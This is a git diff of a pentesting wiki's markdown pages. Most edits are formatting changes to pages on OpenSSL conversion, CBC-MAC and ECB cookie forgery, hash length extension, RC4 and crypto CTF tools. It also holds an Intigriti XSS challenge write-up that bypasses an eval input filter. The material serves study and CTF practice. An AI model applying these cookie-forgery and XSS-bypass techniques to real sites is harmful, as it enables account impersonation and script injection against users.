-topk8 -nocrypt -out certificatename.pk8 ``` -**Convert P7B to PFX** +**Convert P7B to PFX**\ **Note:** This requires 2 commands 1- **Convert P7B to CER** -```text +``` openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` **2- Convert CER and Private Key to PFX** -```text +``` openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md index 13e4910e..726ac667 100644 --- a/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,53 +2,52 @@ ## CBC -If the **cookie** is **only** the **username** \(or the first part of the cookie is the username\) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +If the **cookie **is **only **the **username **(or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce **the **first byte **of the cookie. ## CBC-MAC -In cryptography, a **cipher block chaining message authentication code** \(**CBC-MAC**\) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change** to **any** of the plaintext **bits** will cause the **final encrypted block** to **change** in a way that cannot be predicted or counteracted without knowing the key to the block cipher. +In cryptography, a **cipher block chaining message authentication code** (**CBC-MAC**) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change **to **any **of the plaintext **bits **will cause the **final encrypted block **to **change **in a way that cannot be predicted or counteracted without knowing the key to the block cipher. To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: -![CBC-MAC structure \(en\).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_%28en%29.svg/570px-CBC-MAC_structure_%28en%29.svg.png) +![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_\(en\).svg/570px-CBC-MAC_structure_\(en\).svg.png) ## Vulnerability -With CBC-MAC usually the **IV used is 0**. -This is a problem because 2 known messages \(`m1` and `m2`\) independently will generate 2 signatures \(`s1` and `s2`\). So: +With CBC-MAC usually the **IV used is 0**.\ +This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: * `E(m1 XOR 0) = s1` * `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated \(m3\) will generate 2 signatures \(s31 and s32\): +Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): * `E(m1 XOR 0) = s31 = s1` * `E(m2 XOR s1) = s32` **Which is possible to calculate without knowing the key of the encryption.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Imagine you are encrypting the name **Administrator **in **8bytes **blocks: * `Administ` * `rator\00\00\00` -You can create a username called **Administ** \(m1\) and retrieve the key \(s1\). -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32. +You can create a username called **Administ **(m1) and retrieve the key (s1).\ +Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ now, knowing s1 and s32 you can put them together an generate the encryption of the full name **Administrator**. #### Summary -1. Get the signature of username **Administ** \(m1\) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** +1. Get the signature of username **Administ **(m1) which is s1 +2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0 **is s32**.** 3. Set the cookie to s1 followed by s32 and it will be a valid cookie for the user **Administrator**. ## Attack Controlling IV -If you can control the used IV the attack could be very easy. -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie. -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0\] XOR "A" == IV'\[0\] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +If you can control the used IV the attack could be very easy.\ +If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ +Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator. **This cookie will be valid to **impersonate **the user **administrator **with the initial **IV**. ## References More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) - diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md index 143ef531..9e553d8f 100644 --- a/cryptography/crypto-ctfs-tricks.md +++ b/cryptography/crypto-ctfs-tricks.md @@ -4,20 +4,20 @@ * _**Google it**_ * [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) -* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/) -* [https://crackstation.net/](https://crackstation.net/) -* [https://md5decrypt.net/](https://md5decrypt.net/) +* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) +* [https://crackstation.net/](https://crackstation.net) +* [https://md5decrypt.net/](https://md5decrypt.net) * [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) -* [https://gpuhash.me/](https://gpuhash.me/) +* [https://gpuhash.me/](https://gpuhash.me) * [https://hashes.org/search.php](https://hashes.org/search.php) -* [https://www.cmd5.org/](https://www.cmd5.org/) +* [https://www.cmd5.org/](https://www.cmd5.org) * [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) ## Magic Autosolvers -* \*\*\*\*[**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)\*\*\*\* -* \*\*\*\*[https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) \(Magic module\) +* ****[**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)**** +* ****[https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) ## Encoders @@ -29,7 +29,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers * [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -* [https://quipqiup.com/](https://quipqiup.com/) - Very good ! +* [https://quipqiup.com/](https://quipqiup.com) - Very good ! #### Caesar - ROTx Autosolvers @@ -43,59 +43,59 @@ Most of encoded data can be decoded with these 2 ressources: Check all bases with: [https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack) -* **Base32** \[_A-Z2-7=_\] +* **Base32** \[_A-Z2-7=_] * `NBXWYYLDMFZGCY3PNRQQ====` -* **Base58** \[_123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz_\] +* **Base58** \[_123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz_] * `2yJiRg5BF9gmsU6AC` -* **Base62** \[_0-9A-Za-z_\] +* **Base62** \[_0-9A-Za-z_] * `g2AextRZpBKRBzQ9` -* **Base64** \[_A-Za-z0-9+/=_\] +* **Base64** \[_A-Za-z0-9+/=_] * `aG9sYWNhcmFjb2xh` -* **Base85 --> Like Ascii85** -* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_\] +* **Base85 --> Like Ascii85** +* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] * `MIc3KiXa+Ihz+lrXMIc3KbCC` -* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_\] +* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] * `DmPsv8J7qrlKEoY7` -* **MEGAN35** \[_3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5_\] +* **MEGAN35** \[_3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5_] * `kLD8iwKsigSalLJ5` -* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_\] +* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] * `ayRiIo1gpO+uUc7g` -* **ESAB46** \[\] +* **ESAB46** \[] * `3sHcL2NR8WrT7mhR` -* **MEGAN45** \[\] +* **MEGAN45** \[] * `kLD8igSXm2KZlwrX` -* **TIGO3FX** \[\] +* **TIGO3FX** \[] * `7AP9mIzdmltYmIP9mWXX` -* **TRIPO5** \[\] +* **TRIPO5** \[] * `UE9vSbnBW6psVzxB` -* **FERON74** \[\] +* **FERON74** \[] * `PbGkNudxCzaKBm0x` -* **GILA7** \[\] +* **GILA7** \[] * `D+nkv8C1qIKMErY1` -* **Citrix CTX1** \[\] +* **Citrix CTX1** \[] * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -### HackerizeXS \[_╫Λ↻├☰┏_\] +### HackerizeXS \[_╫Λ↻├☰┏_] -```text +``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` -* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +* [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse -```text +``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` -* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +* [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder -```text +``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/ @@ -108,7 +108,7 @@ end ### XXEncoder -```text +``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ @@ -119,7 +119,7 @@ end ### YEncoder -```text +``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 @@ -129,7 +129,7 @@ ryvkryvkryvkryvkryvkryvkryvk ### BinHex -```text +``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: @@ -139,7 +139,7 @@ ryvkryvkryvkryvkryvkryvkryvk ### ASCII85 -```text +``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` @@ -147,41 +147,41 @@ ryvkryvkryvkryvkryvkryvkryvk ### Dvorak keyboard -```text +``` drnajapajrna ``` -* [https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) +* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard) ### A1Z26 Letters to their numerical value -```text +``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` ### Affine Cipher Encode -Letter to num `(ax+b)%26` \(_a_ and _b_ are the keys and _x_ is the letter\) and the result back to letter +Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter -```text +``` krodfdudfrod ``` ### SMS Code -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) \(This mode is used when writing SMS\). -For example: 2=A, 22=B, 222=C, 3=D... -You can identify this code because you will see **several numbers repeated**. +**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ +For example: 2=A, 22=B, 222=C, 3=D...\ +You can identify this code because you will see** several numbers repeated**. You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code -Substitude each letter for 4 As or Bs \(or 1s and 0s\) +Substitude each letter for 4 As or Bs (or 1s and 0s) -```text +``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` @@ -192,7 +192,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ## Compression -**Raw Deflate** and **Raw Inflate** \(you can find both in Cyberchef\) can compress and decompress data without headers. +**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. ## Easy Crypto @@ -204,7 +204,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA A keywork is needed -```text +``` fgaargaamnlunesuneoa ``` @@ -212,7 +212,7 @@ fgaargaamnlunesuneoa A keywork is needed -```text +``` wodsyoidrods ``` @@ -224,9 +224,9 @@ wodsyoidrods ### Fernet -2 base64 strings \(token and key\) +2 base64 strings (token and key) -```text +``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -238,9 +238,9 @@ Key: ### Samir Secret Sharing -A secret is splitted in X parts and to recover it you need Y parts \(_Y <=X_\). +A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). -```text +``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd @@ -251,11 +251,10 @@ A secret is splitted in X parts and to recover it you need Y parts \(_Y <=X_\ ### OpenSSL brute-force * [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) -* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) +* [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) ## Tools * [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) * [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) * [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) - diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md index b122bc47..c496d5e1 100644 --- a/cryptography/electronic-code-book-ecb.md +++ b/cryptography/electronic-code-book-ecb.md @@ -1,8 +1,8 @@ -# Electronic Code Book \(ECB\) +# Electronic Code Book (ECB) ## ECB -\(ECB\) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** \(depends on the size of the block of input data, encryption algorithm\) and then to encrypt \(decrypt\) each block of clear text using the only key. +(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. ![](https://assets.pentesterlab.com/ecb/ECB_encryption.png) @@ -13,61 +13,60 @@ Using ECB has multiple security implications: ## Detection of the vulnerability -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**. -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**. +Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ +Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. -Like in the following example. Observe how these **2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** -```text +``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` -This is because the **username and password of those cookies contained several times the letter "a"** \(for example\). The **blocks** that are **different** are blocks that contained **at least 1 different character** \(maybe the delimiter "\|" or some necessary difference in the username\). +This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames** with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** -| Username length: | Password length: | Username+Password length: | Cookie's length \(after decoding\): | -| :--- | :--- | :--- | :--- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | +| ---------------- | ---------------- | ------------------------- | --------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | ## Exploitation of the vulnerability ### Removing entire blocks -Knowing the format of the cookie \(`|`\), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: -```text +``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`. +We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: -```text +``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` ### Moving blocks -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _\(Note the extra spaces\)_ +In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ So, another way to impersonate the user `admin` would be to: -* Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin` +* Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. +* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password \(which is faking the username\): `username |admin` +The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` - **Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** +** Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** ## References -* [http://cryptowiki.net/index.php?title=Electronic\_Code\_Book\_\(ECB\)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_%28ECB%29) - +* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md index 6dbcbcc0..d05a2094 100644 --- a/cryptography/hash-length-extension-attack.md +++ b/cryptography/hash-length-extension-attack.md @@ -4,10 +4,10 @@ Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: -* **The length of the secret** \(this can be also bruteforced from a given length range\) +* **The length of the secret **(this can be also bruteforced from a given length range) * **The clear text data** -* **The algorithm \(and it's vulnerable to this attack\)** -* **The padding is known** +* **The algorithm (and it's vulnerable to this attack)** +* **The padding is known ** * Usually a default one is used, so if the other 3 requirements are met, this also is * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed @@ -15,9 +15,9 @@ Then, it's possible for an **attacker** to **append** **data** and **generate** ### How? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** \(state\), they **add the next block of data** and **hash it**. +Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b. +Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ If an attacker wants to append the string "append" he can: * Generate a MD5 of 64 "A"s @@ -27,9 +27,8 @@ If an attacker wants to append the string "append" he can: ### **Tool** -{% embed url="https://github.com/iagox86/hash\_extender" %} +{% embed url="https://github.com/iagox86/hash_extender" %} ## References You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) - diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md index 12991b9a..59258670 100644 --- a/cryptography/rc4-encrypt-and-decrypt.md +++ b/cryptography/rc4-encrypt-and-decrypt.md @@ -1,6 +1,6 @@ -# RC4 - Encrypt&Decrypt +# RC4 - Encrypt\&Decrypt -If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4\(using the same password\) just using the encryption function. +If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4(using the same password) just using the encryption function. If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: @@ -8,7 +8,5 @@ If you can encrypt a known plaintext you can also extract the password. More ref {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} -\*\*\*\* - - +**** diff --git a/ctf-write-ups/challenge-0521.intigriti.io.md b/ctf-write-ups/challenge-0521.intigriti.io.md index 54346279..b3d6e8ea 100644 --- a/ctf-write-ups/challenge-0521.intigriti.io.md +++ b/ctf-write-ups/challenge-0521.intigriti.io.md @@ -1,17 +1,17 @@ # challenge-0521.intigriti.io -### Brief Description +### Brief Description -The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php). -This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io/) via an iframe. +The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ +This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe. -It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example. -However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`. +It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.\ +However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\ Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function. -### Accessing the HTML +### Accessing the HTML -It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`: +It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\ ![](https://i.imgur.com/Slq2Xal.png) Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways: @@ -21,7 +21,7 @@ document.domain document["domain"] ``` -And the same happens with attributes that are functions \(methods\): +And the same happens with attributes that are functions (methods): ```javascript document.write("1") @@ -34,10 +34,10 @@ Then, from the `e` HTML element it’s possible to access the `document` object e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ``` -### Calling a function without parenthesis with JS code as string +### Calling a function without parenthesis with JS code as string -From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**. -However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** \(\`\`\). +From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\ +However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\ Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like: ```javascript @@ -52,21 +52,21 @@ e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"] You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) -### Final forbidden characters bypass +### Final forbidden characters bypass -However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit \(e\[\]\`${}\) are allowed**. -This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit. -In order to do this I have generated a [JSFuck](http://www.jsfuck.com/) like alphabet to generate the necesary characters \(_this alphabet is custom for this challenge_\). -You can **see the full alphabet inside the exploit code** \(which can be found in the next subsection and in the file _exploit.txt_\). +However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\ +This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\ +In order to do this I have generated a [JSFuck](http://www.jsfuck.com) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\ +You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_). -For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`. -Using these tricks and some more complex ones it was possible to **generate all the characters \(letters and symbols\) of the strings contained** in the exploit: +For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.\ +Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit: ```javascript 